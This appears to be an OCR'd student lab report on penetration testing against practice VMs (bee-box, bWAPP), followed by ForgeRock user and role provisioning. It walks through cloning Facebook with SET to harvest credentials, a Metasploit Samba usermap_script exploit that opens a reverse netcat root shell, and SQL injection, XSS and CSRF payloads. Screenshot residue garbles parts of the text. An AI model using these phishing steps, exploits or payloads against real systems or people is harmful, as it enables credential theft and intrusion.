SF:\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0	Intervention	Disistore (c)	May 15 root@1 ×	15:35 kali: ~	root@kali:~	٩		
SF:\0\0\0\0\0\0\0\0\0\0\0	Image: Section (Section (<pre>pkall: ~</pre>	May 15 root@l × (unknown)	15:35 kali:~	root@kalii ~	٩		

3. Packet Analysis

I analyzed the given pcap file and was able to spot TCP handshake as shown in the below picture.



TCP stands for Transmission control Protocol. It works on methodology of 3-way handshake. To establish a connection, TCP sends SYN flag to the receiver. The receiver acknowledges the senders SYN flag by sending ACK flag and as receiver also wants to establish connection with the sender, it also sends the SYN packet – SYNACK. Further, the sender acknowledges the receivers SYN packet by sending ACK. In this way, the sender and receiver establish connection in 3 stages called as 3-way handshake. 1st packet of TCP connection – SYN 2nd packet of TCP Connection – SYNACK 3rd packet of TCP Connection – ACK

Task 2: Weaponization

1. Phishing

Phishing is an attack in which the attacker clones a website on his own web server and spreads it through social engineering methods. When the user enters his/her credentials it gets logged to the attacker's web server and the user is not aware that his credentials were not entered on the legit website. This way the users gets his/her credentials compromised.

Setoolkit – I used this tool to create a phishing webpage by cloning Facebook website to get credentials of target by social engineering method.

<pre>terminal</pre>		root@k
<pre> mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm</pre>	Terminal	
<pre>[] The Social-Engineer Toolkit (SET) []</pre>	HHHHHHHHHH HHHHHHHHHHHHHHHHHHHHH HHHHHHHHHH / dHHHHHHHHHHHHHHHHHH HHHHHHHHHHH / / . fHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHH / / . fHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHH / / . fHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH	
<pre>[] Created by: David Kennedy (ReL1K) [] Version: 8.0.3 Codename: 'Maverick' [] Follow us on Twitter: DTustedSec [] [] Follow me on Twitter: DHackingDave [] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools!</pre> Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit Set>	[] The Social-Engineer Toolkit (SET)	
The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 9) Exit the Social-Engineer Toolkit set>	<pre>[] Created by: David Kennedy (ReL1K) Version: 8.0.3 Codename: 'Maverick' [] Follow us on Twitter: @TrustedSec [] Follow me on Twitter: @HackingDave [] Homepage: https://www.trustedsec.com Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs.</pre>	
Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set>	The Social-Engineer Toolkit is a product of Truste	edSec.
It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit	Visit: https://www.trustedsec.com	
Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set>	It's easy to update using the PenTesters Framework Visit https://github.com/trustedsec/ptf to update all	k! (PTF) l your tools!
 Social-Engineering Attacks Penetration Testing (Fast-Track) Third Party Modules Update the Social-Engineer Toolkit Update SET configuration Help, Credits, and About Exit the Social-Engineer Toolkit 	Select from the menu:	
set>	 Social-Engineering Attacks Penetration Testing (Fast-Track) Third Party Modules Update the Social-Engineer Toolkit Update SET configuration Help, Credits, and About Exit the Social-Engineer Toolkit 	
	<u>set</u> >	

terminal > setoolkit

				Terminal			
	" "bgd	7MM*** YMM MM	· · · · · · · · · · · · · · · · · · ·	Mi Forums			
,MI `MMb `Y Mb P"Yb							
	The So Create	cial-Engineer d by: David Version: / Codename: 'I	Toolkit ennedy (.0.3 laverick'	(SET) ReL1K)			
[] [] [] Welc The	Follow Follow Homepag ome to one st	us on Twitte me on Twitte e: https://ww the Social-En op shop for a	r: @Trus r: @Hack w.truste gineer T ll of yo	tedSec ingDave dsec.com oolkit (SE ur SE need	[[[T). s.		
The Socia	l-Engin	eer Toolkit :	s a prod	uct of Tru	stedSec.		
v	'isit: h	ttps://www.t	ustedsec	.com			
It's easy Visit https:	to upd //githu	ate using the b.com/trustee	PenTest sec/ptf	ers Framewo to update a	ork! (PT all your	F) tools!	
Select from	n the me	nu:					
1) Spear- 2) Websit	Phishin e Attac	g Attack Vect k Vectors	ors				
3) Infect 4) Create 5) Mass M 6) Arduin	ious me a Payl Mailer A Mo-Based	dia Generato oad and Liste ttack Attack Vecto	ner				
7) Wirele 8) QRCode 9) Powers 10) Third	ss Acce Genera hell At Party M	ss Point Atta tor Attack Ve tack Vectors odules	ck Vecto ctor	r			
99) Return	back t	o the main me	n (UK) Luc nu.				
<u>set</u> >							

<u>Step -1</u>

<u>Step-2</u> Choose Website attack vector

Terminal	
3) Infectious Media Generator 4) Create a Payload and Listener	
5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules	
99) Return back to the main menu.	
<u>set</u> > 2	

The Web Attack module is a unique way of utilizing multiple web-based attacks in order The **Java Applet Attack** method will spoof a Java Certificate and deliver a metasploit ba

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits t

The Credential Harvester method will utilize web cloning of a web- site that has a user

The TabNabbing method will wait for a user to move to a different tab, then refresh the

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utiliz licked a window pops up then is replaced with the malicious link. You can edit the link

The **Multi-Attack** method will add a combination of attacks through the web attack menu. bbing all at once to see which is successful.

The **HTA Attack** method will allow you to clone a site and perform powershell injection t owser.

- 1) Java Applet Attack Method
- 2) Metasploit Browser Exploit Method
- 3) Credential Harvester Attack Method
- 4) Tabnabbing Attack Method
- 5) Web Jacking Attack Method
- 6) Multi-Attack Web Method
- 7) HTA Attack Method

99) Return to Main Menu

set:webattack>

Facebook Life Watch Places Games

<u>Step -3</u>

hoose "3. Credential Harvester Attack Method"	
bbing all at once to see which is successful.	
The HTA Attack method will allow you to clone a site and perform owser.	powershell injection
1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method	
4) Tabnabbing Attack Method 5) Web Jacking Attack Method 6) Multi-Attack Web Method	
/) HIA ATTACK METHOD	
99) Return to Main Menu	
set:webattack>3	
The first method will allow SET to import a list of pre-defined applications that it can utilize within the attack.	web
The second method will completely clone a website of your choose and allow you to utilize the attack vectors within the complete same web application you were attempting to clone.	ing ly
The third method allows you to import your own website, note tha should only have an index.html when using the import website functionality.	at you
1) Web Templates 2) Site Cloner 3) Custom Import	
99) Return to Webattack Menu	
Sign Up – Log in Messenger – Facebook Lie – A set:webattack>2 – Fundraisers Services Voling Information Centre	

<u>Step -4</u> Choose "2. Site Cl<u>oner"</u>



Our preferref website will be cloned at hosted at out preffered IP,port.

We will use this server address to get credentials of our target.

Windows 10 x64 - VMware Workstation			- o ×
File Edit View VM Tabs Help 📙 🛪 🛱 💭 🚑 🔒 [
🕞 Kali-Linux-2021.3-vmware-am 🗙 🕞 academy (2) 🛛 🗙 🕞 Windows 10 x64	×		
Cog in to Facebook x +		- 0	×
\leftarrow $ ightarrow$ $ m C$ $ m igac { m A}$ Not secure $ $ 192.168.75.131		2 A to to 🗈 🗎 🧕	
	Log in to Facebook Donaldtrump@usa.gov Log In Forgotten account? · Sign up for Facebook		
		Activate Windows Go to Settings to activate Windows	5.
← C Type here to search	<u>e</u> = <u>=</u>	□ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □	2 -
In above reference image, we can s collected will be stored at our serve	📴 🔮 🦁 💻 eee facebook.com is hosted at our own v er.	web-server. Thus, all the data	04:08 PM 27-05-2022
🦟 Kali-Linux-2021.3-vmware-am 🗙 📊 academy (2) 🛛 🗙 🕅 Win	idows 10 x64 ×		
Gy Log in to Facebook x +			
← → C	in.php		2
	facebook		

l 🕞 Kali	Linux-202	21.3-vmwar	e-am X 🕞 academy (2) X 🕞 Windows 10 x64 X		
	🔂 La	og in to Fa	zebook × +		
\leftarrow	\rightarrow	С	https://www.facebook.com/login.php		P 1
				fuelsel	
				тасероок	
				Log in to Easthook	
				Log in to Facebook	
				Email address or phone number	
				Password	
				Log In	
				Forgotten account? · Sign up for Facebook	
					Activate Wi

After succesfully logging in our spoofed facebook website, it redirected to authentic facebook website.



In above reference image, we can see we now have the credentials that were entered on the spoofed facebook web page.

This way of getting credentials is called as spear-phishing.

Phishing – In this kind of phishing, the tager is masses. Spear- phishing – In this kind of phishing , the target is specific person.

2. <u>Network Attack.</u>

Previously, we already did information gathering on bee-box VM. Now, I attacked one of its vulnerability as below.

FTP vulnerability

In below reference image, we can see we have anonymous ftp login enabled. I used "anonymous" keyword as username as well as password to log into it via FTP and downloaded the files.

(root	💀 kali))-[~]						
🖵 nmap	-A -T4	4 -p- 192.1	68.75.134					130 ×
Starting	Nmap 7	7.92 (http:	s://nmap.o	rg)at2	2022-0	05-1	15 22:	29 EDT
Nmap sca	n repoi	rt for 192.	168.75.134					
Host is	up (0.0	0029s laten	cv).					
Not show	n: 6551	16 closed t	cp ports ()	reset)				
PORT	STATE	SERVICE	VERSION	,				
21/tcp	open	ftp	ProFTPD 3	1.3.1				
ftp-an	on: And	onymous FTP	login allo	owed (FTF	o code	e 23	30)	
-rw-rw	-r	1 root	www-data	543803	Nov	2	2014	Iron_Man.pdf
-rw-rw	-r	1 root	www-data	462949	Nov	2	2014	Terminator_Salvation.pdf
-rw-rw	-r	1 root	www-data	544600	Nov	2	2014	The_Amazing_Spider-Man.pdf
-rw-rw	-r	1 root	www-data	526187	Nov	2	2014	The_Cabin_in_the_Woods.pdf
-rw-rw	-r	1 root	www-data	756522	Nov	2	2014	The_Dark_Knight_Rises.pdf
-rw-rw	-r	1 root	www-data	618117	Nov	2	2014	The_Incredible_Hulk.pdf
rw-rw	-r	1 root	www-data	5010042	Nov	2	2014	bWAPP_intro.pdf

In below reference image, we can see anonymous access is granted on the FTP server. I logged into it as anonymous and gained access to all the files uploaded there. I was also able to download/upload files

Li ftp 192.168.75.134
Connected to 192.168.75.134.
220 ProFTPD 1.3.1 Server (bee-box) [192.168.75.134]
Name (192.168.75.134:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> Ls
229 Entering Extended Passive Mode (10899)
150 Opening ASCII mode data connection for file list
-rw-rw-r 1 root www-data 543803 Nov 2 2014 Iron_Man.pdf
-rw-rw-r 1 root www-data 462949 Nov 2 2014 Terminator_Salvation.pdf
-rw-rw-r 1 root www-data 544600 Nov 2 2014 The_Amazing_Spider-Man.pdf
-rw-rw-r 1 root www-data 526187 Nov 2 2014 The_Cabin_in_the_Woods.pdf
-rw-rw-r 1 root www-data 756522 Nov 2 2014 The_Dark_Knight_Rises.pdf
-rw-rw-r 1 root www-data 618117 Nov 2 2014 The_Incredible_Hulk.pdf
-rw-rw-r 1 root www-data 5010042 Nov 2 2014 bWAPP_intro.pdf
226 Transfer complete
ftp> get Iron_Man.pdf
local: Iron_Man.pdf remote: Iron_Man.pdf
229 Entering Extended Passive Mode (46552)
150 Opening BINARY mode data connection for Iron_Man.pdf (543803 bytes)
100% ***********************************
226 Transfer complete
543803 bytes received in 00:00 (10.10 MiB/s)

Samba vulnerability

As we can see in below reference image, we have samba service running on port 139, We will try to exploit it via Metasploit and will establish connection via reverse netcat.

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 512/tcp open evec netkit_rsh revead

<u>Step -1</u>

I started metasploit tool as below.



<u>Step-2</u> I searched for "Samba" keyword to get a list of available exploits in metaslploit tool.

† 57 kā	_=[9 evasion]				
Metasp irb	loit tip: Open an interactive Ruby terminal with				
<u>msf6</u> >	search samba				
Matchi	ng Modules				
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes	Citrix Access Gateway Command Execution
1	exploit/windows/license/calicclnt_getconfig	2005-03-02	average	No	Computer Associates License Client GETCONFIG Overflow
2	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution
3	exploit/windows/smb/group_policy_startup	2015-01-26	manual	NO	Group Policy Script Execution From Shared Resource
4	post/linux/gather/enum_configs		normal	NO	Linux Gather Configurations
5	auxiliary/scanner/rsync/modules_list	2014 10 14 mame	normat	NO	LIST RSYNC MODULES NG1/ 060 Niewegeft Windows OLE Dackage Napager Cade Evecution
7	exploit/windows/fileformat/ms14_000_sandworm	2014-10-14	excellent	NO	MS14-000 MICROSOFT WINDOWS OLE PACKage Manager Code Execution
2 2	exploit/unix/nttp/quest_kace_systems_management_rce	2010-05-51	excellent	No	Quest NACE Systems management command Execution
0	exploit/multi/samba/usermap_script	2007-03-14	average	No	Samba 2, 2, 2, 2, 2, 2, 6 nttrans Ruffer Overflow
10	exploit/linux/samba/setinfonolicy_hean	2003-04-07	normal	Ves	Samba SetInformationPolicy AuditEventsInfo Hean Overflow
11	auxiliary/admin/smb/samba symlink traversal	2012-04-10	normal	No	Samba Svmlink Directory Traversal
12	auxiliary/scanner/smb/smb uninit cred		normal	Yes	Samba netr ServerPasswordSet Uninitialized Credential State
13	exploit/linux/samba/chain reply	2010-06-16	good	No	Samba chain reply Memory Corruption (Linux x86)
14	exploit/linux/samba/is known pipename	2017-03-24	excellent	Yes	Samba is known pipename() Arbitrary Module Load
15	auxiliary/dos/samba/lsa_addprivs_heap		normal	No	Samba lsa io privilege set Heap Overflow
16	auxiliary/dos/samba/lsa_transnames_heap		normal	No	Samba lsa_io_trans_names Heap Overflow
17	exploit/linux/samba/lsa_transnames_heap	2007-05-14	good	Yes	Samba lsa_io_trans_names Heap Overflow
18	exploit/osx/samba/lsa_transnames_heap	2007-05-14	average	No	Samba lsa_io_trans_names Heap Overflow
19	exploit/solaris/samba/lsa_transnames_heap	2007-05-14	average	No	Samba lsa_io_trans_names Heap Overflow
20	auxiliary/dos/samba/read_nttrans_ea_list		normal	No	Samba read_nttrans_ea_list Integer Overflow
21	exploit/freebsd/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (*BSD x86)
22	exploit/linux/ <mark>samba</mark> /trans2open	2003-04-07	great	No	Samba trans2open Overflow (Linux x86)
	avn]ait/aav/aamha/tuana]anan	2002 01 07			Camba twanslanan Quantiaw (Has OC Y DDC)

<u>Step-3</u>

I used this exploit – usermap_script to gain reverse shell access.

<u>msf6</u> > us [*] No pa <u>msf6</u> expl	e 8 yload configured, oit(multi/samba/u	defaulting sermap_scri	g to cmd/unix/reverse_netcat ipt) > options	Welcome to phpMyAdmin 2.11.3deblubuntul	
Module op	tions (exploit/mu	lti/samba/u	usermap_script):		
Name	Current Setting	Required	Description		
RHOSTS RPORT	139	yes yes	The target host(s), see http The target port (TCP)	ttps://github.com/rapid7/metasploit-framework/wiki/Using-Metasplo	bit
Payload o	ptions (cmd/unix/	reverse_net	tcat):		
Name	Current Setting	Required	Description		
LHOST LPORT	192.168.75.131 4444	yes yes	The listen address (an inter The listen port	erface may be specified)	
Exploit t	arget:				
Id Na 0 Au	me tomatic				

<u>Step-4</u> I entered my target machine's ip address as RHOSTS.

```
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.75.139
rhosts => 192.168.75.139
```

<u>Step -5</u>

Now, our exploit is ready. To run it, I used run command.

<u>msf6</u> exploit(multi/samba/usermap_script) > run			
<pre>[*] Started reverse TCP handler on 192.168.75.131:4444</pre>			
<pre>[*] Command shell session 1 opened (192.168.75.131:4444 -> 192.16</pre>	8.75.139:39989) at	2022-05-29 07:08:22 -04	400
whoami			
root			
ls			
D1n			
boot			
carom dev			
etc			
home			
initrd			
initrd.img			
lib			
lost+found			
nohun out			
opt			
proc			
unat			
To direct input to this VM, move the mouse pointer inside or press Ctrl+G.			

and I was able to get the shell access to my target machine.

3. <u>Web Application Attack</u>

SQL Injection

Is a web security vulnerability in which the attacker injects a malicious SQL statement into the input field and tricks the database to output certain data that a user is not authorized to view.

I performed SQL injection on bWAPP :-

🕏 bWAPP - SQL Injection × +		••
← → C @ O & 192.168.75.134/bWAPP/sqli_1.php	\$	⊠ ≡
🛰 Kali Linux 🞓 Kali Tools 💆 Kali Docs 🗙 Kali Forums \land Kali NetHunter 🔍 Exploit-DB 🔍 Google Hacking DB 🌗 OffSec		
bWAPP an extremely buggy web app !	Choose your bug: bWAPP v2.2 V Hac Set your security level: low V Set Current: low	3
Bugs Change Password Create User Set Security Level Reset Credits Blog Lo	ogout Welcome Bee	
/ SQL Injection (GET/Search) /		
Search for a movie Search Input Area	in	
Title Release Character Genre IMDb	f	
No Datato display	e	

In the above reference image, we can clearly see we have an input field to input our malicious sql statement.

I used Burp suite and list of malicious SQL payloads and was successfully able to execute the SQL attack as shown in below reference image.

😻 bWAPP - SQL Injection 🛛 🗙 💸	bWAPP - SQL Injection	× +		1	2. Intruder atta	ack of 192.16	8.75.134 -	Temporary att	ack - Not saved to proje	ct file 🛛 🔍 🙁
		all second of a local	uare lie	Attack S	Save Columns	Perduada	Deserves	ontines		
↔ C @	192.168.75.13	4/bWAPP/sqli_1.php?titl	le=' or ''%3d'&	ac Results	arget Positions	Paytoads	Resource	ool Options		
🐣 Kali Linux 📪 Kali Tools 💆 Kali [Docs 🐹 Kali Forums 💰	Kali NetHunter 🛛 📥 Expl	oit-DB 🏾 🌭 Goo	Filter: Sho	wing all items					
		1		Request	Payload	Status	Error Tir	neout Length 🗸	Comment	1
an extrem	ely buggy v	veb app !		21 22 29 35 39	'%20or%20''=' '%20or%20'x'='x 'or 0=0 # "'or 1"' 'or 1=1 or "='	200 200 200 200 200		16746 16746 16746 16746 16746		
Bugs Change Passwo	ord Create Use	r Set Security	Level Re	119 120 121 59 58	'or 1=1 or "=' 'or "=' x'or 1=1 or 'x'='y or as	200 200 200 200 200		16746 16746 16746 14285 13994		
/ SQL In	jection (G	ET/Searc	ch) /	4 0 2 Request	- " Response	200 200 200	8	13990 13909 13909		
Search for a movie:	_	Search		Pretty	Raw Hex 🚍 \N :	≡ = '%20or%20' '%3	d'&action=s	earch HTTP/1.1		
Title	Release	Character	Genre	3 User-A 4 Accept 5 Accept	Agent: Mozilla/5.0 (X1 t: text/html,applicati t-Language: en-US,en;q	l; Linux x86_6 on/xhtml+xml,a =0.5	4; rv:91.0) pplication/	Gecko/20100101 F cml;c=0.9,image/w	irefox/91.0 ebp,*/*;q=0.8	
G.I. Joe: Retaliation	2013	Cobra Commander	action	6 Accept 7 Connec 8 Refere 9 Cookie	t-Encoding: gzip, defl ction: close er: http://192.168.75. e: security level=0: P	ate 134/bWAPP/sqli HPSESSID=07all	_1. php 60f97edef9a	62882338513eb87		
Iron Man	2008	Tony Stark	action	10 Upgrad 11 12	de-Insecure-Requests:	1				
Man of Steel	2013	Clark Kent	action	⑦ ② ← Finished	-)⊖ Search					0 matches
Terminator Salvation	2009	John Connor	sci-fi	Link	¢.					
The Amazing Spider-	Man 2012	Peter Parker	action	Link	¢					
Line Cabin in the Wor	2011	Some zombies	borror	Link	(

XSS Injection

Also, called as Cross-Site scripting, is a web security vulnerability that enables the hacker to execute malicious scripts that further executes actions that are not allowed by the user as user is unaware of such actions.

Below are three major types of XSS.

1. Reflected XSS

In this type of XSS, the user's actions are reflected in the URL, the attacker modifies the URL i.e injects his payloads directly in the URL and when the URL with malicious payload is executed by the user, the user unknowingly executes the attacker's script. The malicious script does not reside in the web-application. The victim's browser executes the attack only if the user opens a web page or link set up by the attacker.

I performed Reflected-XSS as following.

I entered first name and last name in the input field and the web-site reflected the strings on the website itself and the in the URL.

$\leftrightarrow \rightarrow c$	â	🔿 🔒 192.168.75.134/bV	VAPP/xss_get.php?firstname	sanchit klas	tname <mark>:</mark> sharma	a (form=sul	bmit	ង
🛰 Kali Linux	💦 Kali Tools 🛛 🧧 Kali Doo	cs 🗙 Kali Forums Kali	i NetHunter 🔺 Exploit-DB 🍕	Google Hac	:king DB 🔒 Of	fSec		
	an extreme	ly buggy we	b app !				Set low	your security leve v Set Current I
Bugs	Change Passwor	d Create User	Set Security Level	Reset	Credits	Blog	Logout	Welcome Bee
	/ XSS - R	eflected ((GET) /					8
1	Enter your first and last na	ame:						in
I	First name:							1
l	.ast name:	_						8
(Go							
1	Welcome <mark>sanchit sharma</mark>							

Then, I entered this payload to see if web-application is executing my payloads or not . Payload = <script>alert("Hello")</script>

$\leftarrow \rightarrow$ C \textcircled{a}	🔿 웥 192.168.75.134/bV	VAPP/xss_get.php?firstname	= <script></script>
--	-----------------------	----------------------------	---------------------

My script was successfully executed as we can see in below reference image.



2. Stored XSS

In this type of XSS attack, the attacker injects a code into the website where the inputs are stored on the server. Eg. – Comment section. Whenever a user opens the web-page with attacker's malicious script stored on it, the script/code gets executed on the user's browser.

I performed XSS-Stored in following ways.:

I tested the input field.

$\leftarrow \rightarrow$	C ŵ	0 🔒 192.16	8.75.134/bWA	NPP/xss_stored_1.php					
🌂 Kali Linu	ux 💦 Kali Tools 💆 Kali D	ocs 🛛 🗙 Kali Foru	ıms 🛛 🧟 Kali N	etHunter 🍬 Exploit-DB	💺 Google Had	cking DB 📕 Of	fSec		
	an extreme	ely bugg	ly web	app !				Set low	your secu v Set (
Bug	s Change Passwo	ord Creat	e User	Set Security Level	Reset	Credits	Blog	Logout	Welcome
	/ XSS - 5	stored	(Blog	a) /					6
			-	J					in
					ħ.				f
	Submit Add: 🗹	Show all:	Delete:	Your entry was added to	our blog!				8
	# Owner	Date		Entry					
	1 bee	2022-05-30 04:20:19	nice pic!						

All my inputs are being stored on the server.

I performed XSS-stored as below :

I submitted this script in the input field .

Payload : hello

<script>window.location=("https://www.google.com")</script>

After submitting this payload into a website, the web page will get redirected to google's home page.

±.		
😻 bWAPP - XSS × +		
← → C 🟠 🗘 è 192.168.75.134/bWAPP/xss_stored_1.php		
🕆 Kali Linux p Kali Tools 💆 Kali Docs 🐹 Kali Forums 🕟 Kali NetHunter 🛸 Exploit-DB 🍬 Google Hacking DB 🗍 OffSe	ec i	
		Set y
an extremely buggy web app !		low
Bugs Change Password Create User Set Security Level Reset Credits	Blog	Logout
LYCE EL LIPL) (
/ XSS - Stored (Blog) /		
hello		
<script>window.location=("https://www.google.com")</script>		
Submit Add: Show all: Delete:		
# Owner Date Entry		
Kall-Linux-2021.3-vmwar X Ip bee-box v1.6 X III Applications Places Firefox ESR May 31 08:02		C
Google × +		
$\leftarrow \rightarrow \mathbb{C}$ $\widehat{\square}$ $\bigcirc \mathbb{A}$ https://www.google.com	☆	⊠ 🧕
🛰 Kali Linux 🏽 Kali Tools 💆 Kali Docs 🕱 Kali Forums 🐟 Kali NetHunter 📥 Exploit-DB 🛸 Google Hacking DB 🗍 OffSec		
	Gmail	Images 🏭 S

ന്നു ന്നു ന്നെ ത്രാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ന് നാന്ത്രം പ്രത്യാന്ത്രം പ്രത്യം പ്രത്യാന്ത്രം പ്രത്യാന്തം പ പ്രത്യം പ്രത്യം പ്രത്രം പ്രത്യം പ്രത്തം പ പ്രത്തം പ്രതം പ്രത്തം പ്രത്തം പ്രത്തം പ്രത്തം പ്രത്തം പ്രത്തം പ്രതം പ്രത്തം പ്രത്തം

Now, whenever someone will visit this webpage, page will get redirected to hacker's website.

<u>CSRF</u>

CSRF stands for Cross Site Request Forgery. In this vulnerability, the attacker induces the user to perform actions that they do not intend to perform intentionally.

I performed CSRF as below:



In above image, we can change the password of bWapp portal. I changed the password and all the data

reflected in the url as shown in below reference image.

😻 bWAPP - CSRF × +		
← → C @ O & 192.168.75.134/bWAPP/csrf_1.php?password_new	=test&password_conf=test&action=cl	nange 🔂
😤 Kali Linux 🎓 Kali Tools 💆 Kali Docs 🐹 Kali Forums Kali NetHunter 🛸 Exploit-DB 🛸 Go	po <mark>lle Hacking DB 🗍 OffS</mark> ac	
an extremely buggy web app !		low v Set Current low
Bugs Change Password Create User Set Security Level R	Reset Credits Blog	Logout Welcome Bee
/ CSRF (Change Password) /		B
Change your password.		in
New password:		1
Re-type new password:		8
Change		
The password has been changed!		

By modifying this URL, we can change password numerous times without an intention to change and directly visiting the "change password" section.

2

URL :

http://192.168.75.134/bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change

I altered the above url to below :

Altered url :

http://192.168.75.134/bWAPP/csrf_1.php?password_new=apple&password_conf=apple&action=chan ge

Once, the user executes this url, his/her password will get changed unintentionally and the attacker will gain access.

\rightarrow (C @	O 🔒 192.	.168.75.134/bv	VAPP/csrf_1.php?	password_ne	w=apple&pa	ssword_conf=	apple&acti	on=change	
<ali linux<="" th=""><th>🛪 🚌 Kali Tools 🛛 🧧 Kali I</th><th>Docs 🛛 🐹 Kali F</th><th>orums 🛭 🐟 Kal</th><th>i NetHunter 🔺 Ex</th><th>xploit-DB 🍝</th><th>Google Hack</th><th>ing DB 📕 Off</th><th>Sec</th><th></th><th></th></ali>	🛪 🚌 Kali Tools 🛛 🧧 Kali I	Docs 🛛 🐹 Kali F	orums 🛭 🐟 Kal	i NetHunter 🔺 Ex	xploit-DB 🍝	Google Hack	ing DB 📕 Off	Sec		
									Set	your
	an extrem	ely bud	gy we	b app !					low	~
Bugs	Change Passw	ord Cre	eate User	Set Securit	y Level	Reset	Credits	Blog	Logout	We
	/ CSRF	(Chan	ge Po	isswor	d) /					B
	Change your password	d.	J							in
	New password:									f
	Re-type new password	:								8
	Change									
	The password has bee	en changed!]							



You are now the IAM Administrator of your organization. Your organization has decided to start an Information Security Department. They have hired 3 new employees and fired 2 employees. As an IAM administrator you have to Add 3 new users and assign them manager roles. (Provisioning). And you have to remove 2 existing users and their roles and privileges. To do this you first need :

1. Create 5 new users

r created 5 t	users as below.				
← → C ∆	A Not secure 192.168.75.130:80	87/admin/#resource/managed/user/add/	∽ ⊮ ☆	🐵 🐟 G 🔍 🔵	ᡖ 🛪 🗊 🛛
		ASHBOARDS → 🖌 CONFIGURE → 🕫 MANAGE →		0 -) -
	User > New User				
	New User				
	Username	spiderman			
	First Name	Spider			
	Last Name	Man			
	Email Address	spiderman@avenger.com			
	Password				
	Retype Password				
					Save

Similarly, created 4 more users.

+ N	lew User			Clear Reload Grid	ear Filters	lected Advanced F
	Filter	Filter	Filter	Filter	Filter	Filter
	USERNAME	FIRST NAME	LAST NAME	EMAIL ADDRESS	DESCRIPTION	STATUS
	amanpaul1	Aman	Paul	amanpaul@xyz.com		active
	antman	Ant	Man	antman@avenger.com		active
	doctorstrange	Doctor	Strange	doctorstrange@avenger.com		active
	manager1	The	Manager	themanager@xyz.com		active
	rishabh1	rishabh	arora	rishab@xyz.com		active
	sanchit1	sanchit	sharma	sanchitsharma@xyz.com		active
	spiderman	Spider	Man	spiderman@avenger.com		active
	superman	Super	Man	superman@avenger.com		active
	sur1	first	selfuser	firstselfuser@gmail.com		active
	thehulk	The	Hulk	thehulk@avenger.com		active

2. Create 2 new Roles ie. Manager & HoD

	68.75.130:8087/admin/#resource/managed/role		~ 년 ☆ 💩	⊗
	🕻 🎪 DASHBOARDS 🗕 🎤 CONF	FIGURE - C MANAGE -		0 · () ·
Roles				
External	ernal			
+ New Role	l	C Reload Grid	Clear Filters	Advanced Filter
Filter		Filter		
		DESCRIPTION	GRANT TIME COM	ISTRAINT
- HOD			Direct	
Manager			Direct	
		« < >		

3. Add an organization.

→ C 1 ▲ Not	secure 192.168.75	. 130 :8087/admin/#resource/r	nanaged/organization/list,				~ 🖻	☆	₽ 🐟	: <u>C</u>	0	• 着	≱ ≡	
{	DRGEROCK	øð DASHBOARDS →	& CONFIGURE →	¢\$ MANAGE →						Ø		<u> </u>		
Orę	ganizat	ion List												
+ N	lew Organization			C Reloa	d Grid 🗙	Clear Filters)elete S	elected	•	Advan	ced Filter		
	Filter			Filter										
	NAME			DESCRIP	TION									
	Security Team													
				« < >										

4. Make one of the users owner of the organization

